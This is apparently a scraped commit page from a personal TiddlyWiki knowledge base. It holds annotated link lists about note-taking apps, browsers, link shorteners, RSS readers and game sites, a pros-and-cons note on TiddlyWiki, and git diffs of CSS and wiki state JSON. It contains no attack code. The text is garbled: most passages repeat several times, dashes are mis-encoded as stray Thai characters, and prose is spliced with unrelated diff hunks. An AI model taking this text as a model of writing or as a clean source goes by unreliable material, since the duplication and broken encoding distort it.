๐ก Obsidian Digital Garden โ Publish your notes to the web, for free. In your own personal garden. โ [Git] โ Nice thing but it's sad that navigation is really borked without JavaScript.
The "Notion paradigm", and alternative apps:
Notion โ Your connected workspace for wiki, docs & projects โ it's basically online-only (or online-first?), so not recommended since it's also entirely proprietary, and documents are very limited when exported... plus it's really slow with much data because of the network requirements
anytype โ the everything app for those who celebrate trust & autonomy โ [Git]
AppFlowy โ open-source alternative to Notion for project management โ [Git]
๐ก Obsidian Digital Garden โ Publish your notes to the web, for free. In your own personal garden. โ [Git] โ Nice thing but it's sad that navigation is really borked without JavaScript.
The "Notion paradigm", and alternative apps:
Notion โ Your connected workspace for wiki, docs & projects โ it's basically online-only (or online-first?), so not recommended since it's also entirely proprietary, and documents are very limited when exported... plus it's really slow with much data because of the network requirements
Notablog โ Notablog is a static site generator that produce a minimalistic website for you from a Notion table. โ [Author's site, and demo]
anytype โ the everything app for those who celebrate trust & autonomy โ [Git]
AppFlowy โ open-source alternative to Notion for project management โ [Git]
socat is not good for this, better to use iptables (if only it was working...), or firewalld: eg. firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080
socat is not good for this, better to use iptables (if only it was working...), or firewalld: eg. firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080
General information about the site will soon be available. Licensing information is available here. This is "OcttKB" because I'm Octt. With this thing, I'm learning and thinking in public.
Tips
Click on tag pills, often as present on top of a tiddler frame, just below the title, to navigate to all tiddlers that are tagged with that tag.
Unlike with folders, a tiddler can have many tags at the same time, allowing for non-linear navigation.
Click on different parts of the title of an open tiddler to navigate between children, both in a folder-like structure (other tiddlers present as path children of the current one, thanks to slash (/) separation), and with the tag structure (tiddlers tagged with the name of the current one).
Note: The KB is also served in plain, unencrypted HTTP at the http 5th-level subdomain: http://http.kb.octt.eu.org.
Other Wiki Things
I have made the following into links as they were making this tiddler very laggy, to the point of causing hanging issues on my mobile. Hold thight when opening them (if you're using the JavaScript-rich app, otherwise you're golden).
StudyPlan.dev โ strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...
StudyPlan.dev โ strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...
Questions LLC โ Use AI to answer
your questions. Our AI bots will answer your questions in seconds. โ it's a Q/A website where supposedly bots answer the questions, and it's full of spam and useless shit, what's the point of it even? I found it coming from the footer of these oddly-specific websites, which only makes everything stranger:
allowfullscreen โ an HTML attribute for the iframe tag โ a website with some basic information about the attribute, but with some strange details, and some actually decent examples
querySelectorAll() โ a website dedicated to the best JavaScript function in the world! โ some generic ass information about that JS function, with a home page full of cringey AI-generated SEO bullshit telling of the subject as if they were trying to sell the thing to a child... also includes information on partially unrelated things that maybe could have something to do with querySelectorAll but really not
PassSource โ apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful
Library of Babel โ contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.
https://www.playemulator.io/ โ very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games
Pra' - Le Lavatrici โ un quartiere che sembra una mezza piramide fatta di lavatrici giganti
All your content and app runtime can stay inside a single HTML file; it will probably work fine in browsers in the decades to come.
The base software runs both in the web browser (ES5 or higher?) and Node.js; the latter makes it possibile to export tiddlers to a file system programmatically, generate static sites, etc...
Feature-rich and powerful out of the box, with (up to a certain point) high extensibility.
Big community, meaning you can often get help with problems, and many third-party plugins are available.
The default configuration works fine on mobile devices, unlike what happens with some plugins.
What I don't like
The Widgets/Filters/Macros systems is based on proprietary paradigms; they are made to allow people without programming experience to do great things, but are cumbersome and hard to learn if you already have common programming experience.
JavaScript extensions are cumbersome, requiring a page reload to work after an edit
It's not easy, or sometimes it's not possibile, to extend TiddlyWiki with just pure JavaScript, and trying to do so always requires ugly hacks.
Widgets and Filters are essentially an interpreted language working on top of an interpreted language (JS); Since even the app core makes heavy use of them, it suffers from microlags even on modern devices, and can be's almost unusable on very old ones.
No built-in tiddler compression and decompression means the HTML file is big by default (~2.3 MB as of v5.2.3) and can get worse with many plugins, causing slow loading and saving.
All your content and app runtime can stay inside a single HTML file; it will probably work fine in browsers in the decades to come.
The base software runs both in the web browser (ES5 or higher?) and Node.js; the latter makes it possibile to export tiddlers to a file system programmatically, generate static sites, etc...
Feature-rich and powerful out of the box, with (up to a certain point) high extensibility.
Big community, meaning you can often get help with problems, and many third-party plugins are available.
The default configuration works fine on mobile devices, unlike what happens with some plugins.
What I don't like
The Widgets/Filters/Macros systems is based on proprietary paradigms; they are made to allow people without programming experience to do great things, but are cumbersome and hard to learn if you already have common programming experience.
JavaScript extensions are cumbersome, requiring a page reload to work after an edit
It's not easy, or sometimes it's not possibile, to extend TiddlyWiki with just pure JavaScript, and trying to do so always requires ugly hacks.
Widgets and Filters are essentially an interpreted language working on top of an interpreted language (JS); Since even the app core makes heavy use of them, it suffers from microlags even on modern devices, and can be's almost unusable on very old ones.
No built-in tiddler compression and decompression means the HTML file is big by default (~2.3 MB as of v5.2.3) and can get worse with many plugins, causing slow loading and saving.
t.ly โ Apparently the World's Shortest Link Shortener
+
bit.ly โ Classic shortener, but got shitty in recent years and demands and account be made for creating more than 1 link (unless you clear browser site storage)
goo.gl โ Shortener which has been #KilledByGoogle
t.ly โ Apparently the World's Shortest Link Shortener
tinyurl.com โ A shortener that I think is standing the test of time, but recently the retro site was replaced with a full-blown webapp
Website by woolyss โ created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows ... also indexes other Chromium downloads
CENO Browser (Android) โ Short for censorship.no!, is the worldโs first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised. โ [Git]
Forks of the old codebase, Mozilla Suite
Mypal โ Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful! โ [Old Sources]
Falkon is a KDE web browser using QtWebEngine rendering engine (same as Chromium, but the overall base is different)
K-Meleon is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.
Konqueror โ Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing. โ basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support
Extensions / Add-ons
octollection โ my add-ons collection for Firefox
Website by woolyss โ created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows ... also indexes other Chromium downloads
CENO Browser (Android) โ Short for censorship.no!, is the worldโs first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised. โ [Git]
Forks of the old codebase, Mozilla Suite
Mypal โ Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful! โ [Old Sources]
Falkon is a KDE web browser using QtWebEngine rendering engine (same as Chromium, but the overall base is different)
K-Meleon is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.
Konqueror โ Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing. โ basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support
Extensions / Add-ons
octollection โ my add-ons collection for Firefox
Tachiyomi โ epic open-source reader for Android, but which recently ceased development due to shitty hypercapitalist manwha company issuing a C&D... we are waiting for a spiritual successor
Main repo w/sources disappeared from GitHub, and the entire app too from F-Droid; they are probably still on Internet Archive, and I found this mirror here (idk if trustworthy): https://git.mihon.dev/tachiyomi
Dash is an experimental digital currency that enables instant, private payments to anyone, anywhere in the world.
It's a fork of Bitcoin. There are some advantages, some technical and some situational, but a strange disadvantage I have seen appears to be that wallet syncs take a lot of time.
ONLYOFFICE โ An office suite that combines text, spreadsheet and presentation editors allowing to create, view and edit local documents โ [Git][Android Git and APKs]
Crypt.ee โ Cryptee is a privacy focused, encrypted and secure documents, notes, files and photos service โ seems nifty but apparently it's not truly open-source, just the web client code is. โ [Git]
CryptPad โ Collaborative office suite that is end-to-end encrypted and open-source โ [Git]
ONLYOFFICE โ An office suite that combines text, spreadsheet and presentation editors allowing to create, view and edit local documents โ [Git][Android Git and APKs]
How to resolve many feeds not getting updated in time? โ Configuration > Archiving > Do not automatically refresh more often than: [default should be 1 hour, set to a lower time].
Docker: https://hub.docker.com/r/linuxserver/freshrss (wouldn't use it anymore, it was a pain to migrate from that to a manual config, more of a pain than it is to do the manual setup again, assuming you already have a web server ready)
My instance: https://feeds.octt.eu.org; if I keep it like this (don't privatize it) you can use it as a demo, it shows the feeds of some of my things
How to resolve many feeds not getting updated in time? โ Configuration > Archiving > Do not automatically refresh more often than: [default should be 1 hour, set to a lower time].
MobyGames Video Game Database โ extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis
The King of Grabs โ Grabbing amazing video game screenshots one game at a time.
VGMaps.com: The Video Game Atlas โ the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!
Bootleg Games Wiki โ Wiki dedicated to unlicensed and bootleg video games
Hard Drive is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK itโs satire donโt ban us.
MobyGames Video Game Database โ extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis
The King of Grabs โ Grabbing amazing video game screenshots one game at a time.
VGMaps.com: The Video Game Atlas โ the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!
Bootleg Games Wiki โ Wiki dedicated to unlicensed and bootleg video games
Hard Drive is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK itโs satire donโt ban us.
๐ก Obsidian Digital Garden โ Publish your notes to the web, for free. In your own personal garden. โ [Git] โ Nice thing but it's sad that navigation is really borked without JavaScript.
The "Notion paradigm", and alternative apps:
Notion โ Your connected workspace for wiki, docs & projects โ it's basically online-only (or online-first?), so not recommended since it's also entirely proprietary, and documents are very limited when exported... plus it's really slow with much data because of the network requirements
anytype โ the everything app for those who celebrate trust & autonomy โ [Git]
AppFlowy โ open-source alternative to Notion for project management โ [Git]
๐ก Obsidian Digital Garden โ Publish your notes to the web, for free. In your own personal garden. โ [Git] โ Nice thing but it's sad that navigation is really borked without JavaScript.
The "Notion paradigm", and alternative apps:
Notion โ Your connected workspace for wiki, docs & projects โ it's basically online-only (or online-first?), so not recommended since it's also entirely proprietary, and documents are very limited when exported... plus it's really slow with much data because of the network requirements
Notablog โ Notablog is a static site generator that produce a minimalistic website for you from a Notion table. โ [Author's site, and demo]
anytype โ the everything app for those who celebrate trust & autonomy โ [Git]
AppFlowy โ open-source alternative to Notion for project management โ [Git]
socat is not good for this, better to use iptables (if only it was working...), or firewalld: eg. firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080
socat is not good for this, better to use iptables (if only it was working...), or firewalld: eg. firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080
General information about the site will soon be available. Licensing information is available here. This is "OcttKB" because I'm Octt. With this thing, I'm learning and thinking in public.
Tips
Click on tag pills, often as present on top of a tiddler frame, just below the title, to navigate to all tiddlers that are tagged with that tag.
Unlike with folders, a tiddler can have many tags at the same time, allowing for non-linear navigation.
Click on different parts of the title of an open tiddler to navigate between children, both in a folder-like structure (other tiddlers present as path children of the current one, thanks to slash (/) separation), and with the tag structure (tiddlers tagged with the name of the current one).
Note: The KB is also served in plain, unencrypted HTTP at the http 5th-level subdomain: http://http.kb.octt.eu.org.
Other Wiki Things
I have made the following into links as they were making this tiddler very laggy, to the point of causing hanging issues on my mobile. Hold thight when opening them (if you're using the JavaScript-rich app, otherwise you're golden).
StudyPlan.dev โ strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...
StudyPlan.dev โ strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...
Questions LLC โ Use AI to answer
your questions. Our AI bots will answer your questions in seconds. โ it's a Q/A website where supposedly bots answer the questions, and it's full of spam and useless shit, what's the point of it even? I found it coming from the footer of these oddly-specific websites, which only makes everything stranger:
allowfullscreen โ an HTML attribute for the iframe tag โ a website with some basic information about the attribute, but with some strange details, and some actually decent examples
querySelectorAll() โ a website dedicated to the best JavaScript function in the world! โ some generic ass information about that JS function, with a home page full of cringey AI-generated SEO bullshit telling of the subject as if they were trying to sell the thing to a child... also includes information on partially unrelated things that maybe could have something to do with querySelectorAll but really not
PassSource โ apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful
Library of Babel โ contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.
https://www.playemulator.io/ โ very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games
Pra' - Le Lavatrici โ un quartiere che sembra una mezza piramide fatta di lavatrici giganti
All your content and app runtime can stay inside a single HTML file; it will probably work fine in browsers in the decades to come.
The base software runs both in the web browser (ES5 or higher?) and Node.js; the latter makes it possibile to export tiddlers to a file system programmatically, generate static sites, etc...
Feature-rich and powerful out of the box, with (up to a certain point) high extensibility.
Big community, meaning you can often get help with problems, and many third-party plugins are available.
The default configuration works fine on mobile devices, unlike what happens with some plugins.
What I don't like
The Widgets/Filters/Macros systems is based on proprietary paradigms; they are made to allow people without programming experience to do great things, but are cumbersome and hard to learn if you already have common programming experience.
JavaScript extensions are cumbersome, requiring a page reload to work after an edit
It's not easy, or sometimes it's not possibile, to extend TiddlyWiki with just pure JavaScript, and trying to do so always requires ugly hacks.
Widgets and Filters are essentially an interpreted language working on top of an interpreted language (JS); Since even the app core makes heavy use of them, it suffers from microlags even on modern devices, and can be's almost unusable on very old ones.
No built-in tiddler compression and decompression means the HTML file is big by default (~2.3 MB as of v5.2.3) and can get worse with many plugins, causing slow loading and saving.
All your content and app runtime can stay inside a single HTML file; it will probably work fine in browsers in the decades to come.
The base software runs both in the web browser (ES5 or higher?) and Node.js; the latter makes it possibile to export tiddlers to a file system programmatically, generate static sites, etc...
Feature-rich and powerful out of the box, with (up to a certain point) high extensibility.
Big community, meaning you can often get help with problems, and many third-party plugins are available.
The default configuration works fine on mobile devices, unlike what happens with some plugins.
What I don't like
The Widgets/Filters/Macros systems is based on proprietary paradigms; they are made to allow people without programming experience to do great things, but are cumbersome and hard to learn if you already have common programming experience.
JavaScript extensions are cumbersome, requiring a page reload to work after an edit
It's not easy, or sometimes it's not possibile, to extend TiddlyWiki with just pure JavaScript, and trying to do so always requires ugly hacks.
Widgets and Filters are essentially an interpreted language working on top of an interpreted language (JS); Since even the app core makes heavy use of them, it suffers from microlags even on modern devices, and can be's almost unusable on very old ones.
No built-in tiddler compression and decompression means the HTML file is big by default (~2.3 MB as of v5.2.3) and can get worse with many plugins, causing slow loading and saving.
t.ly โ Apparently the World's Shortest Link Shortener
+
bit.ly โ Classic shortener, but got shitty in recent years and demands and account be made for creating more than 1 link (unless you clear browser site storage)
goo.gl โ Shortener which has been #KilledByGoogle
t.ly โ Apparently the World's Shortest Link Shortener
tinyurl.com โ A shortener that I think is standing the test of time, but recently the retro site was replaced with a full-blown webapp
Website by woolyss โ created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows ... also indexes other Chromium downloads
CENO Browser (Android) โ Short for censorship.no!, is the worldโs first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised. โ [Git]
Forks of the old codebase, Mozilla Suite
Mypal โ Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful! โ [Old Sources]
Falkon is a KDE web browser using QtWebEngine rendering engine (same as Chromium, but the overall base is different)
K-Meleon is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.
Konqueror โ Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing. โ basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support
Extensions / Add-ons
octollection โ my add-ons collection for Firefox
Website by woolyss โ created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows ... also indexes other Chromium downloads
CENO Browser (Android) โ Short for censorship.no!, is the worldโs first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised. โ [Git]
Forks of the old codebase, Mozilla Suite
Mypal โ Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful! โ [Old Sources]
Falkon is a KDE web browser using QtWebEngine rendering engine (same as Chromium, but the overall base is different)
K-Meleon is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.
Konqueror โ Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing. โ basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support
Extensions / Add-ons
octollection โ my add-ons collection for Firefox
diff --git a/Static/static.css b/Static/static.css
index 9ff160de..b9fb326f 100644
--- a/Static/static.css
+++ b/Static/static.css
@@ -611,7 +611,9 @@ dd > div > ul {
margin-top: unset;
margin-bottom: unset;
}
-/* Override the font used for icon display by the the <$:/plugins/Gk0Wk/notionpage-covericon> plugin, and then also apply it to the :after of .tc-tiddlylink anchors, for consistency.
+/* โ */html, body {
+ overflow-x: hidden;
+}/* Override the font used for icon display by the the <$:/plugins/Gk0Wk/notionpage-covericon> plugin, and then also apply it to the :after of .tc-tiddlylink anchors, for consistency.
We override adding a "sans-serif" to the start due to a spacing bug (?) */
.gk0wk-notionpagebg-icon1,
.gk0wk-notionpagebg-icon2,
diff --git a/Static/~Welcome~.html b/Static/~Welcome~.html
index 9786fbaf..46971941 100644
--- a/Static/~Welcome~.html
+++ b/Static/~Welcome~.html
@@ -75,1253 +75,7 @@
General information about the site will soon be available. Licensing information is available here. This is "OcttKB" because I'm Octt. With this thing, I'm learning and thinking in public.
Tips
Click on tag pills, often as present on top of a tiddler frame, just below the title, to navigate to all tiddlers that are tagged with that tag.
Unlike with folders, a tiddler can have many tags at the same time, allowing for non-linear navigation.
Click on different parts of the title of an open tiddler to navigate between children, both in a folder-like structure (other tiddlers present as path children of the current one, thanks to slash (/) separation), and with the tag structure (tiddlers tagged with the name of the current one).
Note: The KB is also served in plain, unencrypted HTTP at the http 5th-level subdomain: http://http.kb.octt.eu.org.
Other Wiki Things
I have made the following into links as they were making this tiddler very laggy, to the point of causing hanging issues on my mobile. Hold thight when opening them (if you're using the JavaScript-rich app, otherwise you're golden).
As with any TiddlyWiki, you can make your own changes right here and save them locally for yourself.
diff --git a/Style.css b/Style.css
index 9ff160de..b9fb326f 100644
--- a/Style.css
+++ b/Style.css
@@ -611,7 +611,9 @@ dd > div > ul {
margin-top: unset;
margin-bottom: unset;
}
-/* Override the font used for icon display by the the <$:/plugins/Gk0Wk/notionpage-covericon> plugin, and then also apply it to the :after of .tc-tiddlylink anchors, for consistency.
+/* โ */html, body {
+ overflow-x: hidden;
+}/* Override the font used for icon display by the the <$:/plugins/Gk0Wk/notionpage-covericon> plugin, and then also apply it to the :after of .tc-tiddlylink anchors, for consistency.
We override adding a "sans-serif" to the start due to a spacing bug (?) */
.gk0wk-notionpagebg-icon1,
.gk0wk-notionpagebg-icon2,
diff --git a/index.html b/index.html
index caf0d9e0..b43f137c 100644
--- a/index.html
+++ b/index.html
@@ -751,9 +751,8 @@
{"title":"$:/state/plugin-info-1958370054-$:/core--2000059281","created":"20220920140149154","modified":"20220920140149154","text":"contents"},
{"title":"$:/state/plugin-info-1998008712-$:/plugins/tiddlywiki/railroad--119403598","created":"20230108195707554","modified":"20230108195709210","text":"readme"},
{"title":"$:/state/plugin-info-496662381-$:/languages/it-IT","created":"20230218113830823","creator":"Octt","modified":"20230218114059177","modifier":"Octt","text":"no"},
-{"title":"$:/state/search-list/selected-item--1546365138","created":"20240119163604538","creator":"Octt","modified":"20240119165435451","modifier":"Octt","text":"Development/Resources-secondaryList"},
-{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240119155439786","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
-{"title":"$:/state/showeditpreview","created":"20220920140732083","creator":"Octt","modified":"20231227005915618","modifier":"Octt","text":"yes"},
+{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240128004415561","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
+{"title":"$:/state/showeditpreview","created":"20220920140732083","creator":"Octt","modified":"20240128001436242","modifier":"Octt","text":"no"},
{"title":"$:/state/ShowPaletteEditor","created":"20220920114858684","modified":"20220920114858684","text":"yes"},
{"title":"$:/state/sidebar","created":"20220920174307633","creator":"Octt","modified":"20231221152237213","modifier":"Octt","text":"yes"},
{"title":"$:/state/tab--1091387428","created":"20220922115715109","creator":"Octt","modified":"20230508210119459","modifier":"Octt","text":"$:/Octt/Music Archiving Status/VANTAGE"},
@@ -793,20 +792,23 @@
{"title":"$:/state/tab-914888664","created":"20230110152841020","modified":"20230110152841020","text":"$:/core/ui/TiddlerInfo/References"},
{"title":"$:/state/tab-99014043","created":"20220921221238452","creator":"Octt","modified":"20230218224826352","modifier":"Octt","text":"$:/core/ui/ControlPanel/TiddlerIcon"},
{"title":"$:/state/tab/moresidebar-1850697562","created":"20220920114911876","creator":"Octt","modified":"20230920153329472","modifier":"Octt","text":"$:/core/ui/MoreSideBar/Explorer"},
-{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240119155439786","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
-{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240119172425357","modifier":"Octt","text":"OcttKB/Index"},
+{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240128004415564","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
+{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240128002323398","modifier":"Octt","text":"OcttKB/Index"},
{"title":"$:/state/tabs/controlpanel/toolbars-1345989671","created":"20220920114638764","creator":"Octt","modified":"20230128224606306","modifier":"Octt","text":"$:/core/ui/ControlPanel/Toolbars/PageControls"},
{"title":"$:/state/tag-cloud-count","created":"20230109231545587","modified":"20230109231831243","text":"inline"},
{"title":"$:/state/toc-$:/OcttKB/ToC-2084057354","created":"20230301190128004","creator":"Octt","modified":"20230301190128780","modifier":"Octt","text":"close"},
+{"title":"$:/state/toc/$:/ToC-$:/Apps--1446284390","created":"20240127224228610","creator":"Octt","modified":"20240127224229697","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-$:/Apps--1697730578","created":"20230817233312379","creator":"Octt","modified":"20231107154741134","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-$:/Apps--777438282","created":"20230301202315129","creator":"Octt","modified":"20230301210025400","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-$:/Apps-1513105244","created":"20230905203425374","creator":"Octt","modified":"20230905203427031","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-$:/Apps-747701490","created":"20230221195052164","creator":"Octt","modified":"20230508212939248","modifier":"Octt","text":"close"},
+{"title":"$:/state/toc/$:/ToC-$:/Games--1446284390","created":"20240127224226627","creator":"Octt","modified":"20240127224228057","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-$:/Games--1697730578","created":"20231105150139974","creator":"Octt","modified":"20231107221141188","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-$:/Games--777438282","created":"20230301202316942","creator":"Octt","modified":"20230301205849160","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-$:/Games-1491465924","created":"20230227182906960","creator":"Octt","modified":"20230301140227063","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-$:/Games-747701490","created":"20230225112101049","creator":"Octt","modified":"20230301115417837","modifier":"Octt","text":"close"},
-{"title":"$:/state/toc/$:/ToC-$:/Tools--1697730578","created":"20230817233308156","creator":"Octt","modified":"20231107221056364","modifier":"Octt","text":"close"},
+{"title":"$:/state/toc/$:/ToC-$:/Tools--1446284390","created":"20240127224231676","creator":"Octt","modified":"20240127224233280","modifier":"Octt","text":"close"},
+{"title":"$:/state/toc/$:/ToC-$:/Tools--1697730578","created":"20230817233308156","creator":"Octt","modified":"20240127213519774","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-$:/Tools--685112640","created":"20230217211142634","creator":"Octt","modified":"20230217211145890","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-$:/Tools--777438282","created":"20230301202335134","creator":"Octt","modified":"20230301204324760","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-$:/Tools-1491465924","created":"20230227182905552","creator":"Octt","modified":"20230227182906545","modifier":"Octt","text":"close"},
@@ -817,13 +819,13 @@
{"title":"$:/state/toc/$:/ToC-Octt-1491465924","created":"20230227182903248","creator":"Octt","modified":"20230227182904476","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-Octt-2084057354","created":"20230301193437550","creator":"Octt","modified":"20230301193438637","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-Octt-747701490","created":"20230209095602012","creator":"Octt","modified":"20230223220711381","modifier":"Octt","text":"close"},
-{"title":"$:/state/toc/$:/ToC-OcttKB--1446284390","created":"20231105154133540","creator":"Octt","modified":"20231107235830521","modifier":"Octt","text":"open"},
+{"title":"$:/state/toc/$:/ToC-OcttKB--1446284390","created":"20231105154133540","creator":"Octt","modified":"20240127224223720","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-OcttKB--1697730578","created":"20230916143816834","creator":"Octt","modified":"20230919171254858","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-OcttKB--777438282","created":"20230301202319334","creator":"Octt","modified":"20230301211910776","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-OcttKB-2084057354","created":"20230301190045932","creator":"Octt","modified":"20230301190047685","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-OcttKB-550494662","created":"20230209095802817","creator":"Octt","modified":"20230219155017222","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-OcttKB-747701490","created":"20230209164056660","creator":"Octt","modified":"20230531084618192","modifier":"Octt","text":"close"},
-{"title":"$:/state/toc/$:/ToC-Spacc--1697730578","created":"20230916143818761","creator":"Octt","modified":"20231105104253448","modifier":"Octt","text":"close"},
+{"title":"$:/state/toc/$:/ToC-Spacc--1697730578","created":"20230916143818761","creator":"Octt","modified":"20240127224434310","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-Spacc--777438282","created":"20230301202324703","creator":"Octt","modified":"20230301210030801","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC-Spacc-747701490","created":"20230209095658308","creator":"Octt","modified":"20230301120250411","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/$:/ToC/$:/Games-Tetris--777438282","created":"20230301205510583","creator":"Octt","modified":"20230301205510583","modifier":"Octt","text":"open"},
@@ -851,7 +853,7 @@
{"title":"$:/state/toc/Web-HTTP-726624880","created":"20230429190915304","creator":"Octt","modified":"20230429190917201","modifier":"Octt","text":"close"},
{"title":"$:/state/toc/XML-SVG-1354019911","created":"20230823100038449","creator":"Octt","modified":"20230823100038449","modifier":"Octt","text":"open"},
{"title":"$:/state/toc/XML-XSL-1354019911","created":"20230823095201574","creator":"Octt","modified":"20230823095202086","modifier":"Octt","text":"close"},
-{"title":"$:/state/tree/$:/","created":"20230126190600213","creator":"Octt","modified":"20230919181011629","modifier":"Octt","text":"show"},
+{"title":"$:/state/tree/$:/","created":"20230126190600213","creator":"Octt","modified":"20240127223540407","modifier":"Octt","text":"hide"},
{"title":"$:/state/tree/$:/.tb/","created":"20230110224516936","modified":"20230110224516936","text":"show"},
{"title":"$:/state/tree/$:/.tb/macros/","created":"20230110224517512","modified":"20230110224517512","text":"show"},
{"title":"$:/state/tree/$:/Apps/","created":"20221109225835632","modified":"20230110163406585","text":"hide"},
@@ -899,7 +901,7 @@
{"title":"$:/state/tree/$:/Manager/ItemMain/","created":"20230124111902915","creator":"Octt","modified":"20230124111902915","modifier":"Octt","text":"show"},
{"title":"$:/state/tree/$:/Octt/","created":"20230227072955115","creator":"Octt","modified":"20230925173912043","modifier":"Octt","text":"hide"},
{"title":"$:/state/tree/$:/Octt/Music Archiving Status/","created":"20230227073001488","creator":"Octt","modified":"20230905205312681","modifier":"Octt","text":"hide"},
-{"title":"$:/state/tree/$:/OcttKB/","created":"20230111084703963","creator":"Octt","modified":"20231224174423151","modifier":"Octt","text":"hide"},
+{"title":"$:/state/tree/$:/OcttKB/","created":"20230111084703963","creator":"Octt","modified":"20240121193425329","modifier":"Octt","text":"hide"},
{"title":"$:/state/tree/$:/OcttKB/Config/","created":"20230225225512618","creator":"Octt","modified":"20231105214436728","modifier":"Octt","text":"hide"},
{"title":"$:/state/tree/$:/OcttKB/Config/TiddlerIconFilters/","created":"20230413082242495","creator":"Octt","modified":"20230413082242495","modifier":"Octt","text":"show"},
{"title":"$:/state/tree/$:/OcttKB/EditorToolbar/","created":"20231223130238140","creator":"Octt","modified":"20231223130238140","modifier":"Octt","text":"show"},
@@ -954,7 +956,7 @@
